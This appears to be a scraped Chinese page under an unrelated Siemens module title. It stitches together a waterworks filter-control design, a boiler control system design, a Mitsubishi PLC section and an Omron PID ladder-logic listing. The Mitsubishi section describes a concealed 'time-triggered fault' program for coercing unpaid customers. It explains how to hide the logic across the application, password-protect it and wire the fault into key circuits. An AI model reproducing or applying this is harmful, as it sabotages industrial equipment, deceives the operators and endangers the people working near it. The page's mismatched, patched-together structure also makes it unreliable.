西门子模块6GK7342-5DA03-0XE0性能参数

西门子模块6GK7342-5DA03-0XE0性能参数

   茂名市*二自来水厂的日产量为2×105立方米，提供茂名市区70%以上的日常用水。为缓解该市的供水紧张状况，市**加大投资力度，对该水厂进行扩建。该水厂设备自动化程度较高，整个自控系统采用（PC+PLC）的组成形式。滤池控制在水厂自动化中属于较难设计的环节，主要表现在反冲洗过程中开、关阀顺序和开、关阀条件的复杂上。本文主要阐述该厂扩建滤池自控系统的主要设计过程。

2 滤池系统的控制任务

2.1工艺要求

   *二自来水厂新扩建的V型滤池共设六个滤格，每格安装有一个液位计、一个阻塞仪，每滤格均有各自的进水阀、清水阀、气冲阀、水冲阀以及排水阀和排气阀。用于气冲的鼓风机有3台（两用一备）；用于水冲的3台反冲洗泵（两用一备）；两台空气压缩机（一用一备）；1台干燥器。

   待滤水进入滤池的各单元滤格，经石英沙恒滤后，再进入清水池。过滤的工艺要求滤格内的水位保持在滤料上的1.2米处，在这个水位上，过滤的效果较好。为实现等速恒水位过滤，就要使滤池的出水量等于进水量，应根据滤池水位变化来调节出水阀的开启度以控制出水量的大小。而当滤池的运行满足反冲洗的约束条件时，需要进行反冲洗清洁滤沙。反冲洗是通过控制滤池进水阀、清水出水阀、反冲进气阀、排气阀、反冲进水阀、反冲排水阀并运行反冲水泵、风机等来实现的。

   因此，滤池控制系统的任务主要是过滤时的液拉控制和清洁过滤砂时的反冲洗控制，过滤和反冲洗不断循环交替进行。

2.2 对控制系统的性能指标要求如

（1）实现自动恒水位过滤，误差：±1.5㎝；
（2）根据下列约束条件之一，能准确地实现自动反冲洗：
?过滤时间达到反冲洗设定周期（如48小时）仍未反冲洗的；
?过滤水头损失值到达设定值（150）且延时时间（15分钟）已到，仍未反冲洗的；
?强制反冲洗按钮被触发。
（3）反冲洗周期、反冲洗过程中各步骤的时间均可通过程序设定，满足工艺及实际操作要求。
（4）能直观显示滤池过滤水位、水头损失及出水阀开启度，同时显示反冲洗设备、本地滤池阀门等的开关状态。
（5）对反冲洗设备、本地滤池阀门及反冲洗过程既可以实现全自动控制，也可以进行手动控制。

3 滤池的控制原理与运行过程

3.1 恒水位控制原理

    滤池的恒水位控制如图1所示。

    每个滤池将滤池水位检测值和水位设定值进行比较，得到水位偏差信号Δe，经PID运算后把输出信号送给输出附加处理程序，再输出给出水阀的伺服电机以控制出水阀的开度。开度增大的数值是由一定累积时间内水位上升的速度及水位偏差共同决定的。若进水流速越快，出水阀开度就越大，反之越小。PID运算的目标是把水位保持在设定值，附加值可作为补偿添加到输出控制中。输出附加处理程序是把PID的运算结果按一定的规律输出给清水阀伺服电机。

三、系统功能设计

1） 车间监控层及管理层

监控层设置两台（或多台）操作员站、一台工程师站，一台服务器。操作员站采用研华奔腾III工业控制微机，主要用于锅炉系统的数据显示及进行控制操作，工程师站采用高档奔腾IV微机，用于进行系统参数设定及系统维护。

操作员站的主要功能是提供给锅炉系统操作人员一个直观方便的人机界面。系统可具有两个或两个以上的操作员站，他们具有同样的功能并互为备用。操作员站设置有如下显示画面。

l 流程画面：将现场控制站采集的现场数据及工艺参数显示在流程图的相应位置上，通过动画直观的显示锅炉运行状态及各种实时数据。操作人员可根据此画面了解整个锅炉系统的运行情况

l 工艺参数画面：以数据表格的形式实时显示各工艺参数与对应的名称，单位，同时可显示对锅炉耗煤量，产汽（供热）量，用水量等的计算和累积结果。

l 调节画面：将系统各控制回路的运行状态和有关参数以调节棒图的形式显示出来。可以显示回路的手自动状态。操作人员利用键盘或鼠标方便的对各控制回路，的控制参数进行再线修正。

l 报警画面：用于记录何时何地有何报警，以便有关人员查询，同时实现安全连锁控制

l 历史趋势画面：用于记录系统主要工艺参数的长期历史趋势数据，以曲线的形式显示出来，可为分析系统运行情况及效率，查找故障等提供依据。

工程师站除具有操作站的全部功能外，还具有参数设定与修改，系统维护等功能。可设定系统的各模拟量测量点的标度变换系数、热电阻、热电偶的线性化参数、孔板流量计算参数、给煤量计算参数、锅炉及供热热效率参数、各控制回路组态参数、及PID参数等。工程师站负责系统的打印任务，可打印即时报警，历史报警记录以及锅炉运行日志和历史数据表格等。

系统通过Web服务器将锅炉系统数据及工艺参数送至校园网或企业内部网，使有关**可从内部网上看到锅炉系统的运行状况，并可实现系统的远程诊断和维护。

管理层实现更高级的管理功能，位于企业厂长经理室，可通过internet 浏览系统 的运行数据，监视系统的运行状态，对系统的运行进行计算统计和优化等。工程技术人员或企业**无论出差何地，都可查看系统数据，甚至进行系统维护。

2）现场控制层

现场控制层采用研华公司的产品，称为软PLC的 Adam5511. 这是一种模块化的工业控制机，固化有dos操作系统，支持C语言编程，支持Modbus通讯协议，每台锅炉由一台Adam5511负责对其进行数据采集及控制，另有一台Adam5511负责系统公共部分的数据采集及控制。

每台Adam5511配置16点模拟量输入，4点模拟量输出，16点开关量输入输出。可采集16点锅炉运行现场数据，组成4个闭环控制回路。分别控制蒸汽锅炉的水位、汽压、炉膛负压，鼓风四个回路或热水锅炉的出水温度、炉膛负压及鼓风三个回路。

四、系统软件

系统的操作站软件采用了中文工控组态软件MCGS设计，MCGS是全中文工业自动化控制组态软件，可稳定运行于bbbbbbs95/98/NT操作系统，集动画显示、流程控制、数据采集、设备控制与、网络、双机热备、工程报表、数据与曲线等诸多强大功能于一身，使生成的系统图文并貌，运行稳定可靠。

系统的现场控制站的软件采用Turbo C 3.0设计，软件采用模块化的设计方法，它以实时数据库为核心，各种数据采集、处理、运算以及控制功能都设计成功能块的形式，系统的实时数据以及各功能块参数都存于实时数据库中，各功能块通过实时数据库交换数据。可通过在上位机进行组态然后下载组态参数至5511中构成新系统。控制站与操作站之间采用modbus协议交换数据。

五、锅炉系统控制回路

锅炉是一个复杂的控制对象，其控制回路非线性严重，同时控制回路之间有耦合，因此系统采用智能变形PID算法，配和前馈等高级控制方法实现对锅炉个回路的控制。

小型蒸汽锅炉的控制回路主要包括蒸汽压力、汽包水位、炉膛负压和鼓风控制回路;热水锅炉则包括出水温度、炉膛负压和鼓风控制回路。

锅炉的蒸汽压力（或出水温度）以及炉膛负压、鼓风控制回路构成锅炉的燃烧控制系统其控制方案是采用蒸汽压力或出水温度为主调量，通过调整炉排转速使蒸汽压力或出水温度尽快达到给定值，同时配合风-煤配比控制鼓风量达到经济燃烧，炉膛负压回路则将炉膛内的压力保持在微负压。

热水炉的出水温度设定值跟随室外温度的变化自动修正，使用户室内的温度保持恒定，同时实现经济供热。温度设定曲线可根据不同供热时期有所变化改变。

锅炉水位控制回路使锅炉水位保持恒定，由于锅炉水位受蒸汽负荷的影响较大，容易产生水位，因此给水控制回路引入蒸汽流量及给水流量前馈控制的三冲量控制方案，以水位的影响。

除常规控制回路外，对锅炉燃烧控制系统，我们还设计了自动寻优算法。锅炉运行过程中，寻优程序将根据计算出的锅炉热效率以及燃烧情况，自动调整锅炉的风煤配比，使燃烧达到较佳，从而实现节煤和减少污染的目标。

六、结束语

本文设计的集散型锅炉微机控制系统经实际使用，完全达到了设计要求。该系统的使用使城市小区供热锅炉的控制与管理达到了新的水平，可显著提高供热系统的运行效率以及供热效果，在节约能源，减少城市污染方面效果显著。根据运行结果初步统计，供热锅炉使用变频器及本文设计的集散微机控制系统后，可以节电30-40%，节煤3-5%，一年就可收回投资成本，是城市集中供热计算机控制系统的可以选择方案。

一、定时触发故障PLC程序(PLC为实时时钟)

该程序是用三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版所编的程序，仅适用于三菱FX2N系列PLC。

程序是为设备制造商收取剩余款项而设的，在设备制造商老板有要求时可以使用，仅适用于信誉度不好的客户。该程序一旦触发，无论设备是否处于运行状态、PLC是否处于运行状态或通电状态，*时间以后将会准时出现故障。请谨慎使用！

该程序应当嵌入应用程序之中，为避免他人识破，可以将程序分成多块分别嵌入在应用程序的各个地方。

为避免他人修改你的程序，应当将整个程序进行加密——设置口令，具体操作方法请参阅程序加密的相关说明。

M490为故障触点，应当串联或并联在程序多个关键动作回路中。

X20为定时触发故障复位端子，要求该端子为没有被使用的端子（否则请更换为另一个没有被使用的端子）。需要解除还没有被触发的故障或已经触发的故障时，将该触点和PLC的输入COM端短接即可。如果系统当前时间还没到故障触发时间，一旦该端子与COM端子断开，故障将在预定时间触发！如果系统当前时间已经过了*的故障触发时间，一旦该端子与COM端子断开，故障将立即触发！如果需要重新*故障触发时间，就必须得更改*的故障触发时间——需要对PLC进行编程！

该程序*的故障触发时间为2007年1月1日0时0分0秒，可以进行更改。

该程序中所用到的通用继电器M481-M499、定时器T198、存储区D0-D5，请不要在程序的其它地方使用，否则该程序可能无法正常发挥作用。

对于三菱其它系列PLC或其它品牌PLC，请对程序作相应更改——各存储器请按照相应存储区域进行更改。

该程序并没有修改PLC的系统时钟，因此程序中的其它地方或和PLC通信的其它设备所调用的PLC系统时钟反映的是正确的当前日期和时间。

在程序动作之前，应当检查PLC的系统时钟是否正确反映当前日期和时间（因为PLC的默认系统时钟可能不正确，笔者就遇到过系统时钟快一个小时多一点的情况）。检查方法如下：

启动三菱PLC编程软件GX Developer V7.08J(SW7D5C-GPPW)简体中文版到一个新的窗口，将电脑与PLC正确连接（具体连接方法请参阅相关说明<比如采用SC09连接电缆或等同功能电缆，加接USB转RS232电缆(需要加安装驱动)等等>），然后点击“在线”——“PLC读取”——“确认”（对于部分笔记本电脑(比如**星品牌龙尊系列某型号的笔记本电脑)，默认串口为COM2，这种情况下需要将COM口选为COM2，具体操作方法不再赘述），然后选中“软元件内存”再点击“确定”......待软元件内存传送到电脑以后，马上检查M8018(年)、M8017(月)、M8016(日)、M8015(时)、M8014(分)、M8013(秒)是否大概是当前正确时间（请注意，软元件内存只是下载时的PLC内存，并不能实时反映PLC的当前软元件内存数据。所以，软元件内存数据中反映的系统时钟比PLC当前系统时钟要慢）。或者，采用另外一种更简单的方法：直接PLC在线连接的下拉菜单中选择PLC时间设置选项，然后就可以看见非实时显示的时钟了——这个时间是读取瞬间的时钟，不实时跟随。

如果PLC的系统时钟不能正确反映当前日期和时间，那就需要对软元件内存进行修改。修改方法为：1、直接PLC在线连接的下拉菜单中选择PLC时间设置选项，然后更改时间就可以了。但该方法一次性只能更改一回时间，一旦更改后时间就实时跟随了，无法再进行更改。如果需要再次更改，需要将该窗口关闭后重新打开，然后再间的更改。 2、通过程序的相关指令（例如MOV指令写时间对应的特殊存储区D8013~D8018或通过TWR指令来写时间，具体指令此处就不再赘述了）。

通过读出软元件内存后修改软元件内存再写回去的方法是行不通的——经过多次试验，证明了PLC在写入软元件内存时根本不会重写特殊存储区的内容，也就是说特殊存储区没被列入“软元件内存”的范围之内

PID温度控制的PLC程序设计
温度控制是许多机器的重要的构成部分。它的功能是将温度控制在所需要的温度范围内，然后进行工件的加工与处理。PID控制系统是得到广泛应用的控制方法之一。在本文中，将详细讲叙本套系统。
l 系统组成
本套系统采用Omron的PLC与其温控单元以及Pro-face的触摸屏所组成。系统包括CQM1H-51、扩展单元TC-101、GP577R以及探温器、加热/制冷单元。
l 触摸屏画面部分(见图1-a)
1-a
如图所见，数据监控栏内所显示的002代表现在的温度，而102表示输出的温度。如按下开始设置就可设置参数。需要设置的参数有六个，分别是比例带、积分时间、微分时间、滞后值、控制周期、偏移量。它们在PLC的地址与一些开关的地址如下所列。
比例带 : DM51
积分时间 : DM52
微分时间 : DM53
滞后值 : DM54
控制周期 : DM55
偏移量 : DM56
数据刷新 : 22905

l PLC程序部分
002：PID的输入字
102：PID的输出字
[NETWORK]
Name="bbbbbb Check" //常规检查
[STATEMENTLIST]
LD 253.13 //常ON
OUT TR0
CMP 002 #FFFF //确定温控单元是否完成初始化
AND NOT 255.06 //等于
OUT 041.15 //初始化完成
LD TR0
AND 041.15
OUT TR1
AND NOT 040.10 //不在参数设置状态
MOV DM0050 102 //将设置温度DM50传送给PID输出字
LD TR1
MOV 002 DM0057 //将002传送到DM57

[NETWORK]
Name="Setting Start"//设置开始
[STATEMENTLIST]
LD 253.13
OUT TR0
AND 229.05 //触摸屏上的开始设置开关
DIFU 080.05 //设置微分
LD TR0
AND 041.15
AND 080.05
SET 040.01 //开始设置标志位1
SET 040.10 //开始设置标志位2

[NETWORK]
Name="Poportion"//比例带设置
[STATEMENTLIST]
LD 040.01
OUT TR0
AND NOT 042.01
MOV #C110 102 //读输出边与输入边的比例带
CMP 002 #C110 //比较输入字是否变成C110
AND 255.06 //等于
SET 042.01 //设置比例带标志
LD TR0
AND 042.01
MOV DM0051 102 //将比例带的设定值写入输出字
CMP 002 DM0051 //是否写入
AND 255.06
RSET 040.01 //复位标志1
RSET 042.01 //复位比例带标志
SET 040.02 //向下继续设置标志

[NETWORK]
Name="Integral"//积分时间设置
[STATEMENTLIST]
LD 040.02
OUT TR0
AND NOT 042.02
MOV #C220 102 //读输出边与输入边的积分
CMP 002 #C220 //比较输入字是否变成C220
AND 255.06
SET 042.02 //设置积分标志
LD TR0
AND 042.02
MOV DM0052 102 //将积分的设定值写入输出字
CMP 002 DM0052 //是否写入
AND 255.06
RSET 040.02
RSET 042.02
SET 040.03 //向下继续设置标志

[NETWORK]
Name="differential"//微分时间设置
[STATEMENTLIST]
LD 040.03
OUT TR0
AND NOT 042.03
MOV #C330 102 //读输出边与输入边的微分
CMP 002 #C330 //比较输入字是否变成C330
AND 255.06
SET 042.03 //设置微分标志
LD TR0
AND 042.03
MOV DM0053 102 /将微分的设定值写入输出字
CMP 002 DM0053 //是否写入
AND 255.06
RSET 040.03
RSET 042.03
SET 040.04 //向下继续设置标志

[NETWORK]
Name="Hysteresis"//滞后值设置
[STATEMENTLIST]
LD 040.04
OUT TR0
AND NOT 042.04
MOV #C440 102 //读输出边与输入边的滞后值

CMP 002 #C440 //比较输入字是否变成C440
AND 255.06
SET 042.04 设置滞后值标志
LD TR0
AND 042.04
MOV DM0054 102 /将滞后值的设定值写入输出字
CMP 002 DM0054 //是否写入
AND 255.06
RSET 040.04
RSET 042.04
SET 040.05 //向下继续设置标志

[NETWORK]
Name="Period"//控制周期设置
[STATEMENTLIST]
LD 040.05
OUT TR0
AND NOT 042.05
MOV #C550 102 //读输出边与输入边的控制周期
CMP 002 #C550 //比较输入字是否变成C550
AND 255.06
SET 042.05 //设置控制周期标志
LD TR0
AND 042.05
MOV DM0055 102 将控制周期的设定值写入输出字
CMP 002 DM0055 是否写入
AND 255.06
RSET 040.05
RSET 042.05
SET 040.06 //向下继续设置标志

[NETWORK]
Name="Shift"//偏移量设置
[STATEMENTLIST]
LD 040.06
OUT TR0
AND NOT 042.06
MOV #C660 102 //读输出边与输入边的偏移量
CMP 002 #C660 //比较输入字是否变成C660
AND 255.06
SET 042.06 //设置偏移量标志
LD TR0
AND 042.06
MOV DM0056 102 //将偏移量的设定值写入输出字
CMP 002 DM0056 //是否写入
AND 255.06
RSET 040.06
RSET 042.06
SET 040.00

[NETWORK]
Name="Return"//返回
[STATEMENTLIST]
LD 040.00
OUT TR0
AND NOT 042.00
MOV #C070 102 //读输入边的处理值
CMP 002 #C070 比较输入字变成C070
AND 255.06
SET 042.00 //返回标志
LD TR0
AND 042.00
MOV DM0050 102 将设定温度值写入输出字
RSET 040.00
RSET 042.00
RSET 040.10

以上是本套系统的全部内容，经过反复试验，此系统可以维持温度在1°C之间变化。保证了好的生产状况，减少不合格品发生的几率。